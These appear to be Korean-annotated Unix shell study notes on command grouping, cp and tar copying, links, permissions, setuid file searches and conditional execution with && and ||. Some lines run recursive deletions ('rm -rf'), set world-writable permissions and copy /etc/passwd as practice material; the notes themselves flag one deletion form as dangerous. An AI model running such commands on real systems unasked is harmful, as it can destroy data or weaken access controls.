  ( ls ; pwd ; date ) > outputfile

   # mkdir /disk1 /disk2
   # cd /disk1
   # cp -p /etc/passwd file1
   # ln -s file1 file2
   # mkdir dir1
   # cp file1 file3 ; chown user01 file3 ; chmod 777 file3
   # touch .file1
   # ls -al

   # cp -r /disk1/* /disk2 (X)
   # ls -al /disk1
   # ls -al /disk2

   # rm -rf /disk2 ; mkdir /disk2

  # cd /disk1
  # tar cvf - . | (cd /disk2 ; tar xvf -)

  # find / \( -perm -4000 -o -perm -2000 \) -type f
 조건부 실행
  sh  style) -o(OR), -a(AND)
  ksh style) &&, ||

  # cd /etc && ls -l passwd
   if cd /etc ; then
    ls -l passwd
   fi
  # [ -f /etc/passwd ] && echo "OK"
   if [ -f /etc/passwd ] ; then
    echo "OK"
   fi
  # [ $? -eq 0 ] && echo "OK"
   if [ $? -eq 0 ] ; then
    echo "OK"
   fi
  # [ -f /etc/passwd ] && echo "OK" || echo "Fail"
   if [ -f /etc/passwd ] ; then
    echo "OK"
   else
    echo "Fail"
   fi
  # cd /test ; rm -rf *   (# cd /test ; rm -rf /test/*)   위험 쓰지않기를
  # cd /test && rm -rf *  (# cd /test && rm -rf /test/*)  안전하다
 파일의 이름/경로(dirname/basename)
  # DIR1=/etc/sysconfig/network-scripts/ifcfg-eth0
  # dirname $DIR1
  # basename $DIR1